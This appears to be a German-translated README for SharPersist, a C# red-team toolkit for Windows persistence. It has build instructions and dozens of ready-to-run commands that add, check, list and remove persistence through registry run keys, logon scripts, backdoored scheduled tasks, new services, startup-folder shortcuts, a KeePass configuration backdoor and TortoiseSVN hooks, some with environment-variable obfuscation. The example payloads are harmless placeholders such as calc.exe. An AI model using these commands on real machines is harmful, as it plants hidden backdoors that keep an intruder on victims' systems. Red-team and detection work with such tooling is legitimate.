
C#-Toolkit zum Einrichten und Verwalten von Windows-Persistenz über Registrierungsschlüssel, geplante Aufgaben, Dienste, Autostart-Ordner, KeePass-Konfigurationen und TortoiseSVN-Hooks.
Windows-Persistenztoolkit geschrieben in C#. Detaillierte Informationen zur Verwendung jeder Technik finden Sie im Wiki.
Autor - Brett Hawkins (@h4wkst3r)
Führen Sie die folgenden Schritte aus, um Visual Studio einzurichten und das Projekt selbst zu kompilieren. Dazu werden einige .NET-Bibliotheken benötigt, die über den NuGet-Paketmanager installiert werden können.
In diesem Projekt werden die folgenden Drittanbieter-Bibliotheken verwendet.
| Bibliothek | URL | Lizenz |
|---|
| TaskScheduler | https://github.com/dahall/TaskScheduler | MIT License |
| Fody | https://github.com/Fody/Fody | MIT License |
Install-Package Costura.Fody -Version 3.3.3Install-Package TaskScheduler -Version 2.8.11keepass - Backdoor für die KeePass-Konfigurationsdateireg - Hinzufügen/Ändern von Registrierungsschlüsselnschtaskbackdoor - Backdoor für geplante Aufgaben durch Hinzufügen einer zusätzlichen Aktionstartupfolder - LNK-Datei im Autostart-Ordnertortoisesvn - TortoiseSVN-Hook-Skriptservice - neuen Windows-Dienst erstellenschtask - neue geplante Aufgabe erstellenadd - Persistenstechnik hinzufügenremove - Persistenstechnik entfernencheck - Probelauf der Persistenstechnik durchführenlist - aktuelle Einträge der Persistenstechnik auflistenenv - optionales Add-on zur Verschleierung von Umgebungsvariablen für die Registrierunghourly - optionales Add-on für die Häufigkeit von geplanten Aufgabendaily - optionales Add-on für die Häufigkeit von geplanten Aufgabenlogon - optionales Add-on für die Häufigkeit von geplanten AufgabenhklmrunhklmrunoncehklmrunonceexhkcurunhkcurunoncelogonscriptstickynotesuserinitKeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add
Registrierung
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add
Backdoor für geplante Aufgaben
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
Autostart-Ordner
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
Tortoise SVN
SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m add
Windows-Dienst
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
Geplante Aufgabe
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add -o hourly
KeePass
SharPersist -t keepass -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m remove
Registrierung
SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove
SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove -o env
SharPersist -t reg -k "logonscript" -m remove
Backdoor für geplante Aufgaben
SharPersist -t schtaskbackdoor -n "Something Cool" -m remove
Autostart-Ordner
SharPersist -t startupfolder -f "Some File" -m remove
Tortoise SVN
SharPersist -t tortoisesvn -m remove
Windows-Dienst
SharPersist -t service -n "Some Service" -m remove
Geplante Aufgabe
SharPersist -t schtask -n "Some Task" -m remove
KeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m check
Registrierung
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m check
Backdoor für geplante Aufgaben
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m check
Autostart-Ordner
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m check
Tortoise SVN
SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m check
Windows-Dienst
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m check
Geplante Aufgabe
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check -o hourly
Registrierung
SharPersist -t reg -k "hkcurun" -m list
Backdoor für geplante Aufgaben
SharPersist -t schtaskbackdoor -m list
SharPersist -t schtaskbackdoor -m list -n "Some Task"
SharPersist -t schtaskbackdoor -m list -o logon
Autostart-Ordner
SharPersist -t startupfolder -m list
Windows-Dienst
SharPersist -t service -m list
SharPersist -t service -m list -n "Some Service"
Geplante Aufgabe
SharPersist -t schtask -m list
SharPersist -t schtask -m list -n "Some Task"
SharPersist -t schtask -m list -o logon